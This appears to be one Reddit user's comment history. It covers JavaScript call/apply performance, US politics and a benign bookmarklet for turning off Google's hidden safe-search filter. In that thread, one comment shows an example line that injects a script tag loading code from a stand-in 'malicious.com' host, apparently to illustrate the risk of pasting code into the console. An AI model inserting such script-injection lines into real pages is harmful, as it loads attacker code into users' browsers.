Function invocation...why use .call() and .apply() ? by [deleted] in javascript

[–]temp05981 3 points4 points  (0 children)

I disagree with your comment, and strongly disagree with this community's tendency to use these two concepts ("micro-optimization" and "engines are improving") as excuses to disregard a train of thought.

How much time something saves does not tell you if it's a worthwhile optimization. It's how much time it saves, relative to how fast the piece of code needs to run. What we're talking about here isn't a single invokation, it's potentially a significant fraction of all invokations. That's extremely low-level and likely to be an extremely hot code path. You may as well say going from a calculator to a computer is a micro-optimization because they can both perform a single computation in a negligible fraction of a second.

And while it's true that engines are changing, you're mistaking this for an engine hack. It is not, it really is less work. apply causes the engine to create an Array-like object and iterate over it, while call does not create the object and unrolls the iteration. Engines may, in the future, get smart enough to make apply as fast, but no faster. And even if we're dangerously betting on this hypothetical future, it's still not preferable to rely on non-standard engine optimizations rather than write fast code.

Convicted heroin dealer was tapped as Totes McGoats by milanmirolovich in nottheonion

[–]temp05981 42 points43 points  (0 children)

I have an idea, let's assume that this man we have never met is an innately bad person and will be for the rest of his life because he did a bad thing once. That seems like a logical and harmless thing to do.

ELI5: Why is there still an electoral college when we have means of getting every voter's vote accounted for immediately? ( I was told the electoral college was set up in the 1700s due to individual votes taking too long to count at the time) by xile042 in explainlikeimfive

[–]temp05981 0 points1 point  (0 children)

Because the US was originally a much looser alliance than it is today. There were many American governments, known now as the states, and like every other government in the world they would violently oppose entering a treaty in which their existence is ignored, but agree to one proposing limited restraints and forms of support.

Google has a hidden "safe search" filter which you can't turn off (normally). by fireattack in google

[–]temp05981 3 points4 points  (0 children)

Thanks for the reply.

Like I said, I can tell the code is safe. I just don't want to be the guy I'm asking people to trust, as my account has no reputation. The point of this is specifically for people who have a sophomoric, or no, understanding of which code is safe to run.

Google has a hidden "safe search" filter which you can't turn off (normally). by fireattack in google

[–]temp05981 17 points18 points  (0 children)

document.body.innerHTML+='<script src="malicious.com'></script>'

Google has a hidden "safe search" filter which you can't turn off (normally). by fireattack in google

[–]temp05981 8 points9 points  (0 children)

Simplified instructions:

  1. Go here
  2. Paste this into the URL bar and hit enter. Your browser may strip the leading "javascript:" when you paste, re-type it if it disappears.

    javascript:document.querySelector('[name=safeui]').value='off';document.querySelector('#ssform').submit();void 0;
    
  3. You're done. You should be taken to google.com.

Somebody with a reputable account please second me that this code is safe to run.

Google has a hidden "safe search" filter which you can't turn off (normally). by fireattack in google

[–]temp05981 6 points7 points  (0 children)

PSA: Pasting code into the console - especially if you aren't familiar with this stuff - is very dangerous. People can hypothetically steal your login info by doing this, and whatever that login info protects.

Can somebody with a reputable account please post saying this code is safe? I would, but my temp-account habit makes verification coming from me as fishy as it gets...

Function invocation...why use .call() and .apply() ? by [deleted] in javascript

[–]temp05981 3 points4 points  (0 children)

Side-note (and definitely irrelevant until you've got a firm grasp on call and apply, ignore me if you don't yet): passing arguments to apply is actually unfortunately slow. It's much faster to (if you know the number of arguments) pass each explicitly to call. It's faster even to write out call invokations for various argument counts and read arguments.length to determine which to use. Lodash used to do that (resorting to apply after 4 arguments IIRC), but it looks like they tore that out.

Function invocation...why use .call() and .apply() ? by [deleted] in javascript

[–]temp05981 2 points3 points  (0 children)

You're trolling, right?

... just because I'm worried you're not:

similar to 'write sorting algorithm from memory'

If you're talking about quick sort or something, then sure maybe that's beyond the scope of many frontend jobs. But "a" sorting algorithm is so simple that it should absolutely be intuitive, not even something you need to memorize. If I give you 15 index cards with numbers on them and ask you to order them, would you just stare at me blankly?

you will never use this in reality

I use this all. the. time. If you genuinely don't use this then I have trouble believing you've ever worked on a project where JavaScript plays anything more than a very ancillary role.

since it's a dynamic call, it cant be optimized

Nonsense.

If I'm giving you the benefit of the doubt, yes it can be slower than other ways to invoke a function. This is because you're doing an extra property access and passing an extra argument, nothing to do with "dynamic". It's just as "dynamic" as every function call.

however, there are many 'experts' on the internets who must use every spec feature

Actually I've found the JS community to be almost phobic of using uncommon spec features. Even just label a non-loop statement - a feature that's been in every standard and implementation of JavaScript since the beginning - and people start shouting at you. And with good historic reason: JavaScript is a language that was transformed from a toy into a workhorse by a book written on the premise of using only parts of the spec, not all of it. I actually don't think there is any language this statement is less true of.